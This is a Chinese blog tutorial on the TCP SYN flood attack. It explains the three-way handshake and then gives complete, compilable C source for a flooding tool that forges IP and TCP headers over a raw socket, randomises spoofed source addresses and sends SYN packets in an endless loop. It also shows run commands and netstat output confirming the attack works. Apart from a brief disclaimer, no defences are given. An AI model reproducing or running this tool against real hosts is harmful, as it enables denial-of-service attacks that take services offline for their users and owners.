TCP SYN洪水 (SYN Flood) 攻击原理与实现_tcp syn flooding攻击-程序员宅基地

技术标签: # linux应用编程  

TCP协议是 TCP/IP 协议栈中一个重要的协议,平时我们使用的浏览器,APP等大多使用 TCP 协议通讯的,可见 TCP 协议在网络中扮演的角色是多么的重要。

TCP 协议是一个可靠的、面向连接的流协议,由于 TCP 协议是建立在 IP 协议这种面向无连接的协议,所以 TCP 协议必须自己来维护连接的状态。

三次握手过程

TCP 协议通过一种名为 三次握手 的过程来建立客户端与服务端的连接,三次握手 过程的原理如图1:

图片

(图一 三次握手过程)

建立连接三次握手过程如下:

  • 客户端需要发送一个 SYN包 给服务端(包含了客户端初始化序列号),并且将连接的状态设置为 SYN_SENT,这个过程由 connect() 系统调用完成。

  • 服务端接收到客户端发送过来的 SYN包 后,回复一个 SYN+ACK包 给客户端(包含了服务端初始化序列号),并且设置连接的状态为 SYN_RCVD

  • 客户端接收到服务端发送过来的 SYN+ACK包 后,设置连接状态为 ESTABLISHED(表示连接已经建立),并且回复一个 ACK包 给服务端。

  • 服务端接收到客户端发送过来的 ACK包 后,将连接状态设置为 ESTABLISHED(表示连接已经建立)。

三次握手 过程完成后,一个 TCP 连接就此建立完成。

SYN Flood攻击原理

上面介绍了建立一个 TCP 连接的 三次握手 过程,我们可以发现,三次握手 属于一个协商的过程,也就是说客户端与服务端必须严格按照这个过程来进行,否则连接就不能建立。

这时,如果客户端发送 SYN包 企图与服务端建立连接,但发送完 SYN包 后就不管,那会发送什么事情呢?如图2所示:

图片

(图2 SYN-Flood)

客户端发送一个 SYN包 给服务端后就退出,而服务端接收到 SYN包 后,会回复一个 SYN+ACK包 给客户端,然后等待客户端回复一个 ACK包

但此时客户端并不会回复 ACK包,所以服务端只能一直等待直到超时。服务端超时后,会重发 SYN+ACK包 给客户端,默认会重试 5 次,而且每次等待的时间都会增加(可以参考 TCP 协议超时重传的实现)。

另外,当服务端接收到 SYN包 后,会建立一个半连接状态的 Socket。所以,当客户端一直发送 SYN包,但不回复 ACK包,那么将会耗尽服务端的资源,这就是 SYN Flood 攻击

SYN Flood攻击实验

接下来,我们通过自己编写代码来进行 SYN Flood攻击 实验。

因为 SYN Flood攻击 需要构建 TCP 协议头部,所以下面介绍一下 TCP 协议头部的格式,如图3:

图片

(图3 TCP 协议头部格式)

我们定义以下结构来描述 TCP 协议头部:

struct tcphdr {
       unsigned short      sport;    // 源端口    unsigned short      dport;    // 目标端口    unsigned int        seq;      // 序列号    unsigned int        ack_seq;  // 确认号    unsigned char       len;      // 首部长度    unsigned char       flag;     // 标志位    unsigned short      win;      // 窗口大小    unsigned short      checksum; // 校验和    unsigned short      urg;      // 紧急指针};

下面是设置 TCP 头部的过程:

  • 标志位中的 SYN 字段必须设置为 1,表示这是一个 SYN包,由于 SYN位 位于 flag 字段的第二位,所以可以将 flag 字段设置为 0x02

  • 源端口号和序列号我们可以随机设置一个,目的端口号设置成要攻击的目标端口。

  • 确认号设置为 0,因为我们还不知道服务端的序列号。

  • 窗口大小可以随便设置,但通常不要设置太小(可以设置成1024)。

  • 校验和这个比较复杂,因为 TCP 协议在计算检验和时,要加上一个12字节的伪首部,伪首部格式如下图:

    • 图片

    • 伪首部共有 12 字节,包含 IP 协议头部的一些字段,有如下信息:32位源IP地址32位目的IP地址8位保留字节(置0)8位传输层协议号(TCP是6,UDP是17)16位TCP报文长度(TCP首部+数据)

    • TCP 协议校验和计算三部分:TCP伪首部 + TCP头部 + TCP数据

  • 紧急指针可以设置为 0。

按照上面的分析,定义 TCP 伪首部的结构如下:

struct pseudohdr {
       unsigned int        saddr;    unsigned int        daddr;    char                zeros;    char                protocol;    unsigned short      length;};

计算校验和的算法有点复杂,所以这里直接从网上找到一个封装好的函数,如下(有兴趣可以参考 TCP 协议的 RFC 文档):

unsigned short inlinechecksum(unsigned short *buffer, unsigned short size)     {      unsigned long cksum = 0;
    while (size > 1) {
           cksum += *buffer++;        size  -= sizeof(unsigned short);    }
    if (size) {
           cksum += *(unsigned char *)buffer;    }
    cksum = (cksum >> 16) + (cksum & 0xffff);    cksum += (cksum >> 16);     
    return (unsigned short )(~cksum);}

另外,为了在攻击的时候能够设置不同的 IP 地址(因为相同的 IP 地址容易被识别而过滤),我们还需要定义 IP 协议头部。IP 协议头部的格式如图4:

图片

(图4 IP 协议头部)

我们定义以下结构来表示 IP 协议头部:

struct iphdr {
       unsigned char       ver_and_hdrlen;// 版本号与IP头部长度    unsigned char       tos;           // 服务类型    unsigned short      total_len;     // 总长度    unsigned short      id;            // IP包ID    unsigned short      flags;         // 标志位(包括分片偏移量)    unsigned char       ttl;           // 生命周期    unsigned char       protocol;      // 上层协议    unsigned short      checksum;      // 校验和    unsigned int        srcaddr;       // 源IP地址    unsigned int        dstaddr;       // 目标IP地址};

1. 初始化 IP 头部

下面我们实现初始化 IP 头部的函数 init_ip_header()

void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr){
       int len = sizeof(struct ip) + sizeof(struct tcphdr);
    iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int));    iphdr->tos = 0;    iphdr->total_len = htons(len);    iphdr->id = 1;    iphdr->flags = 0x40;    iphdr->ttl = 255;    iphdr->protocol = IPPROTO_TCP;    iphdr->checksum = 0;    iphdr->srcaddr = srcaddr; // 源IP地址    iphdr->dstaddr = dstaddr; // 目标IP地址}

init_ip_header() 函数比较简单,就是通过传入的源 IP 地址和目标 IP 地址初始化 IP 头部结构。

2. 初始化 TCP 头部

接下来,我们要实现初始化 TCP 头部的函数 init_tcp_header()

void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport){
       tcp->sport = htons(rand() % 16383 + 49152);   // 随机生成一个端口    tcp->dport = htons(dport);                    // 目标端口    tcp->seq = htonl(rand() % 90000000 + 2345 );  // 随机生成一个初始化序列号    tcp->ack_seq = 0;     tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);    tcp->flag = 0x02;    tcp->win = htons(1024);      tcp->checksum = 0;    tcp->urg = 0;}

3. 初始化 TCP 伪首部

现在我们定义一个 TCP 伪首部初始化函数 init_pseudo_header()

void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr,                         unsigned int dstaddr){
       hdr->zero = 0;    hdr->protocol = IPPROTO_TCP;    hdr->length = htons(sizeof(struct tcphdr));    hdr->saddr = srcaddr;    hdr->daddr = dstaddr;}

4. 构建 SYN 包

接下来我们要实现最为重要的一个函数,就是构建 SYN包,其实现如下:

int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,                     unsigned short dport){
       char buf[100];    int len;    struct iphdr ip;             // IP 头部    struct tcphdr tcp;           // TCP 头部    struct pseudohdr pseudo;     // TCP 伪头部    unsigned int saddr = rand(); // 随机生成一个源IP地址
    len = sizeof(ip) + sizeof(tcp);
    // 初始化头部信息    init_ip_header(&ip, saddr, daddr);    init_tcp_header(&tcp, dport);    init_pseudo_header(&pseudo, saddr, daddr);
    //计算IP校验和    ip.checksum = checksum((u_short *)&ip, sizeof(ip));
    // 计算TCP校验和    bzero(buf, sizeof(buf));    memcpy(buf , &pseudo, sizeof(pseudo));           // 复制TCP伪头部    memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部    tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
    bzero(packet, pkt_len);    memcpy(packet, &ip, sizeof(ip));    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));        return len;}

make_syn_packet() 函数主要通过 目标IP地址目标端口 生成一个 SYN包,保存到参数 packet 中,并且返回包的大小。

5. 创建原始套接字

由于要发送自己构建的 IP 头部和 TCP 头部,所以必须使用 原始套接字 来发送。原始套接字 在创建时需要指定 SOCK_RAW 参数,下面我们定义一个创建原始套接字的函数:

int make_raw_socket(){
       int fd;    int on = 1;
    // 创建一个原始套接字, 指定其关注TCP协议    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);    if (fd == -1) {
           return -1;    }
    // 设置需要手动构建IP头部    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
           close(fd);        return -1;    }
    return fd;}

在调用 socket() 函数创建套接字时,指定第二个参数为 SOCK_RAW,表示创建的套接字为原始套接字。然后调用 setsockopt() 函数设置 IP 头部由我们自己构建。

6. 发送SYN包

下面我们实现发送 SYN包 的函数:

int send_syn_packet(int sockfd, unsigned int addr, unsigned short port){
       struct sockaddr_in skaddr;    char packet[256];    int pkt_len;
    bzero(&skaddr, sizeof(skaddr));
    skaddr.sin_family = AF_INET;    skaddr.sin_port = htons(port);    skaddr.sin_addr.s_addr = addr;
    pkt_len = make_syn_packet(packet, 256, addr, port);
    return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,                  sizeof(struct sockaddr));}

send_syn_packet() 函数需要传入原始套接字、目标IP地址和目标端口,然后通过调用 sendto() 函数向服务端发送一个 SYN包

7. 主函数

最后,我们来实现主函数 main()

int main(int argc, char *argv[]){
       unsigned int addr;    unsigned short port;    int sockfd;
    if (argc < 3) {
           fprintf(stderr, "Usage: synflood <address> <port>\n");        exit(1);    }
    addr = inet_addr(argv[1]);  // 获取目标IP    port = atoi(argv[2]);       // 获取目标端口
    if (port < 0 || port > 65535) {
           fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);        exit(1);    }
    sockfd = make_raw_socket(); // 创建原始socket    if (sockfd == -1) {
           fprintf(stderr, "Failed to make raw socket\n");        exit(1);    }
    for (;;) {
           if (send_syn_packet(sockfd, addr, port) < 0) { // 发送SYN包            fprintf(stderr, "Failed to send syn packet\n");        }    }
    close(sockfd);
    return 0;}

main() 函数也很简单,首先从命令行读取到 目标 IP 地址目标端口,然后调用 make_raw_socket() 创建一个原始套接字,最后在一个无限循环中不断向服务端发送 SYN包

完整的源代码在:https://github.com/liexusong/synflood/blob/main/synflood.c


现在我们通过以下命令来编译这个程序:

root@vagrant]$ gcc -o synflood synflood.c

然后使用以下命令运行程序:

root@vagrant]$ sudo synflood 127.0.0.1 80

上面的命令就是攻击本地的80端口,我们可以使用以下命令查看TCP连接的状态:

root@vagrant]$ netstat -np|grep tcp

tcp        0      0 127.0.0.1:80            229.20.1.110:51861      SYN_RECV    -tcp        0      0 127.0.0.1:80            239.137.18.30:52104     SYN_RECV    -tcp        0      0 127.0.0.1:80            233.90.28.10:65322      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.13.8.74:57922       SYN_RECV    -tcp        0      0 127.0.0.1:80            229.81.76.55:52345      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.226.188.82:53560    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.245.238.56:49499    SYN_RECV    -tcp        0      0 127.0.0.1:80            224.222.45.20:49270     SYN_RECV    -tcp        0      0 127.0.0.1:80            230.2.130.115:63709     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.233.180.85:59636    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.168.175.81:60326    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.27.77.111:65276     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.4.252.114:60898     SYN_RECV    -tcp        0      0 127.0.0.1:80            226.62.209.29:64605     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.106.157.82:56451    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.247.175.35:54963    SYN_RECV    -tcp        0      0 127.0.0.1:80            231.100.248.95:58660    SYN_RECV    -tcp        0      0 127.0.0.1:80            228.113.70.57:60157     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.76.245.32:59218     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.76.169.15:50441     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.191.51.34:53060     SYN_RECV    -tcp        0      0 127.0.0.1:80            227.215.119.119:55480   SYN_RECV    -tcp        0      0 127.0.0.1:80            227.185.145.18:56882    SYN_RECV    -tcp        0      0 127.0.0.1:80            234.73.216.62:58793     SYN_RECV    -tcp        0      0 127.0.0.1:80            234.183.17.49:59739     SYN_RECV    -tcp        0      0 127.0.0.1:80            235.233.86.125:55530    SYN_RECV    -tcp        0      0 127.0.0.1:80            229.117.216.112:52235   SYN_RECV    -tcp        0      0 127.0.0.1:80            238.182.168.62:65214    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.88.213.112:62171    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.218.65.88:60597     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.116.219.23:58731    SYN_RECV    -tcp        0      0 127.0.0.1:80            232.99.36.55:51906      SYN_RECV    -tcp        0      0 127.0.0.1:80            225.198.211.64:52338    SYN_RECV    -tcp        0      0 127.0.0.1:80            230.229.104.121:62795   SYN_RECV    -...

从上面的结果可以看出,服务器已经生成了很多半连接状态的 TCP 连接,表示我们的攻击已经生效。

总结

本文主要介绍了 SYN Flood攻击 的原理与实施方式,本文的本意是通过理解攻击原理来更好的防范被攻击,而不是教你怎么去攻击,所以千万别用于恶意攻击、千万别用于恶意攻击、千万别用于恶意攻击(重要的事情讲三次)。

另外,防止 SYN Flood攻击 的方法很多,这里就不介绍了,有兴趣可以查阅相关的资料。

 

参考资料:1. https://blog.csdn.net/zhangskd/article/details/11770647

                 2. https://blog.csdn.net/jiange_zh/article/details/50446172

------------------------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>

struct iphdr
{
    unsigned char       ver_and_hdrlen;// 版本号与IP头部长度
    unsigned char       tos;           // 服务类型
    unsigned short      total_len;     // 总长度
    unsigned short      id;            // IP包ID
    unsigned short      flags;         // 标志位(包括分片偏移量)
    unsigned char       ttl;           // 生命周期
    unsigned char       protocol;      // 上层协议
    unsigned short      checksum;      // 校验和
    unsigned int        srcaddr;       // 源IP地址
    unsigned int        dstaddr;       // 目标IP地址
};

struct tcphdr
{
    unsigned short      sport;    // 源端口
    unsigned short      dport;    // 目标端口
    unsigned int        seq;      // 序列号
    unsigned int        ack_seq;  // 确认号
    unsigned char       len;      // 首部长度
    unsigned char       flag;     // 标志位
    unsigned short      win;      // 窗口大小
    unsigned short      checksum; // 校验和
    unsigned short      urg;      // 紧急指针
};

struct pseudohdr
{
    unsigned int        saddr;
    unsigned int        daddr;
    char                zeros;
    char                protocol;
    unsigned short      length;
};

unsigned short inline
checksum(unsigned short *buffer, unsigned short size)
{
    unsigned long cksum = 0;

    while (size > 1) {
        cksum += *buffer++;
        size  -= sizeof(unsigned short);
    }

    if (size) {
        cksum += *(unsigned char *)buffer;
    }

    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);

    return (unsigned short )(~cksum);
}

void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
                    unsigned int dstaddr)
{
    int len = sizeof(struct iphdr) + sizeof(struct tcphdr);

    ip->ver_and_hdrlen = (4<<4 | sizeof(struct iphdr)/sizeof(unsigned int));
    ip->tos = 0;
    ip->total_len = htons(len);
    ip->id = 1;
    ip->flags = 0x40;
    ip->ttl = 255;
    ip->protocol = IPPROTO_TCP;
    ip->checksum = 0;
    ip->srcaddr = srcaddr; // 源IP地址
    ip->dstaddr = dstaddr; // 目标IP地址
}

void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
    tcp->sport = htons(rand() % 16383 + 49152);   // 随机生成一个端口
    tcp->dport = htons(dport);                    // 目标端口
    tcp->seq = htonl(rand() % 90000000 + 2345 );  // 随机生成一个初始化序列号
    tcp->ack_seq = 0;
    tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
    tcp->flag = 0x02;
    tcp->win = htons(1024);
    tcp->checksum = 0;
    tcp->urg = 0;
}

void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
                        unsigned int dstaddr)
{
    pseudo->zeros = 0;
    pseudo->protocol = IPPROTO_TCP;
    pseudo->length = htons(sizeof(struct tcphdr));
    pseudo->saddr = srcaddr;
    pseudo->daddr = dstaddr;
}

int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
                    unsigned short dport)
{
    char buf[100];
    int len;
    struct iphdr ip;          //IP 头部
    struct tcphdr tcp;        //TCP 头部
    struct pseudohdr pseudo;  //TCP 伪头部
    unsigned int saddr = rand();

    len = sizeof(ip) + sizeof(tcp);

    // 初始化头部信息
    init_ip_header(&ip, saddr, daddr);
    init_tcp_header(&tcp, dport);
    init_pseudo_header(&pseudo, saddr, daddr);

    //计算IP校验和
    ip.checksum = checksum((u_short *)&ip, sizeof(ip));

    // 计算TCP校验和
    bzero(buf, sizeof(buf));
    memcpy(buf , &pseudo, sizeof(pseudo));           // 复制TCP伪头部
    memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部
    tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));

    bzero(packet, pkt_len);
    memcpy(packet, &ip, sizeof(ip));
    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));

    return len;
}

int make_raw_socket()
{
    int fd;
    int on = 1;

    // 创建一个原始套接字, 指定其关注TCP协议
    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (fd == -1) {
        return -1;
    }

    // 设置需要手动构建IP头部
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
        close(fd);
        return -1;
    }

    return fd;
}

int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
    struct sockaddr_in skaddr;
    char packet[256];
    int pkt_len;

    bzero(&skaddr, sizeof(skaddr));

    skaddr.sin_family = AF_INET;
    skaddr.sin_port = htons(port);
    skaddr.sin_addr.s_addr = addr;

    pkt_len = make_syn_packet(packet, 256, addr, port);

    return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
                  sizeof(struct sockaddr));
}

int main(int argc, char *argv[])
{
    unsigned int addr;
    unsigned short port;
    int sockfd;

    if (argc < 3) {
        fprintf(stderr, "Usage: synflood <address> <port>\n");
        exit(1);
    }

    addr = inet_addr(argv[1]);
    port = atoi(argv[2]);

    if (port < 0 || port > 65535) {
        fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
        exit(1);
    }

    sockfd = make_raw_socket();
    if (sockfd == -1) {
        fprintf(stderr, "Failed to make raw socket\n");
        exit(1);
    }

    for (;;) {
        if (send_syn_packet(sockfd, addr, port) < 0) {
            fprintf(stderr, "Failed to send syn packet\n");
        }
    }

    close(sockfd);

    return 0;
}

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/armlinuxww/article/details/115484343

智能推荐

oracle 12c 集群安装后的检查_12c查看crs状态-程序员宅基地

文章浏览阅读1.6k次。安装配置gi、安装数据库软件、dbca建库见下:http://blog.csdn.net/kadwf123/article/details/784299611、检查集群节点及状态:[root@rac2 ~]# olsnodes -srac1 Activerac2 Activerac3 Activerac4 Active[root@rac2 ~]_12c查看crs状态

解决jupyter notebook无法找到虚拟环境的问题_jupyter没有pytorch环境-程序员宅基地

文章浏览阅读1.3w次,点赞45次,收藏99次。我个人用的是anaconda3的一个python集成环境,自带jupyter notebook,但在我打开jupyter notebook界面后,却找不到对应的虚拟环境,原来是jupyter notebook只是通用于下载anaconda时自带的环境,其他环境要想使用必须手动下载一些库:1.首先进入到自己创建的虚拟环境(pytorch是虚拟环境的名字)activate pytorch2.在该环境下下载这个库conda install ipykernelconda install nb__jupyter没有pytorch环境

国内安装scoop的保姆教程_scoop-cn-程序员宅基地

文章浏览阅读5.2k次,点赞19次,收藏28次。选择scoop纯属意外,也是无奈,因为电脑用户被锁了管理员权限,所有exe安装程序都无法安装,只可以用绿色软件,最后被我发现scoop,省去了到处下载XXX绿色版的烦恼,当然scoop里需要管理员权限的软件也跟我无缘了(譬如everything)。推荐添加dorado这个bucket镜像,里面很多中文软件,但是部分国外的软件下载地址在github,可能无法下载。以上两个是官方bucket的国内镜像,所有软件建议优先从这里下载。上面可以看到很多bucket以及软件数。如果官网登陆不了可以试一下以下方式。_scoop-cn

Element ui colorpicker在Vue中的使用_vue el-color-picker-程序员宅基地

文章浏览阅读4.5k次,点赞2次,收藏3次。首先要有一个color-picker组件 <el-color-picker v-model="headcolor"></el-color-picker>在data里面data() { return {headcolor: ’ #278add ’ //这里可以选择一个默认的颜色} }然后在你想要改变颜色的地方用v-bind绑定就好了,例如:这里的:sty..._vue el-color-picker

迅为iTOP-4412精英版之烧写内核移植后的镜像_exynos 4412 刷机-程序员宅基地

文章浏览阅读640次。基于芯片日益增长的问题,所以内核开发者们引入了新的方法,就是在内核中只保留函数,而数据则不包含,由用户(应用程序员)自己把数据按照规定的格式编写,并放在约定的地方,为了不占用过多的内存,还要求数据以根精简的方式编写。boot启动时,传参给内核,告诉内核设备树文件和kernel的位置,内核启动时根据地址去找到设备树文件,再利用专用的编译器去反编译dtb文件,将dtb还原成数据结构,以供驱动的函数去调用。firmware是三星的一个固件的设备信息,因为找不到固件,所以内核启动不成功。_exynos 4412 刷机

Linux系统配置jdk_linux配置jdk-程序员宅基地

文章浏览阅读2w次,点赞24次,收藏42次。Linux系统配置jdkLinux学习教程,Linux入门教程(超详细)_linux配置jdk

随便推点

matlab(4):特殊符号的输入_matlab微米怎么输入-程序员宅基地

文章浏览阅读3.3k次,点赞5次,收藏19次。xlabel('\delta');ylabel('AUC');具体符号的对照表参照下图:_matlab微米怎么输入

C语言程序设计-文件(打开与关闭、顺序、二进制读写)-程序员宅基地

文章浏览阅读119次。顺序读写指的是按照文件中数据的顺序进行读取或写入。对于文本文件,可以使用fgets、fputs、fscanf、fprintf等函数进行顺序读写。在C语言中,对文件的操作通常涉及文件的打开、读写以及关闭。文件的打开使用fopen函数,而关闭则使用fclose函数。在C语言中,可以使用fread和fwrite函数进行二进制读写。‍ Biaoge 于2024-03-09 23:51发布 阅读量:7 ️文章类型:【 C语言程序设计 】在C语言中,用于打开文件的函数是____,用于关闭文件的函数是____。

Touchdesigner自学笔记之三_touchdesigner怎么让一个模型跟着鼠标移动-程序员宅基地

文章浏览阅读3.4k次,点赞2次,收藏13次。跟随鼠标移动的粒子以grid(SOP)为partical(SOP)的资源模板,调整后连接【Geo组合+point spirit(MAT)】,在连接【feedback组合】适当调整。影响粒子动态的节点【metaball(SOP)+force(SOP)】添加mouse in(CHOP)鼠标位置到metaball的坐标,实现鼠标影响。..._touchdesigner怎么让一个模型跟着鼠标移动

【附源码】基于java的校园停车场管理系统的设计与实现61m0e9计算机毕设SSM_基于java技术的停车场管理系统实现与设计-程序员宅基地

文章浏览阅读178次。项目运行环境配置:Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX(Webstorm也行)+ Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。项目技术:Springboot + mybatis + Maven +mysql5.7或8.0+html+css+js等等组成,B/S模式 + Maven管理等等。环境需要1.运行环境:最好是java jdk 1.8,我们在这个平台上运行的。其他版本理论上也可以。_基于java技术的停车场管理系统实现与设计

Android系统播放器MediaPlayer源码分析_android多媒体播放源码分析 时序图-程序员宅基地

文章浏览阅读3.5k次。前言对于MediaPlayer播放器的源码分析内容相对来说比较多,会从Java-&amp;amp;gt;Jni-&amp;amp;gt;C/C++慢慢分析,后面会慢慢更新。另外,博客只作为自己学习记录的一种方式,对于其他的不过多的评论。MediaPlayerDemopublic class MainActivity extends AppCompatActivity implements SurfaceHolder.Cal..._android多媒体播放源码分析 时序图

java 数据结构与算法 ——快速排序法-程序员宅基地

文章浏览阅读2.4k次,点赞41次,收藏13次。java 数据结构与算法 ——快速排序法_快速排序法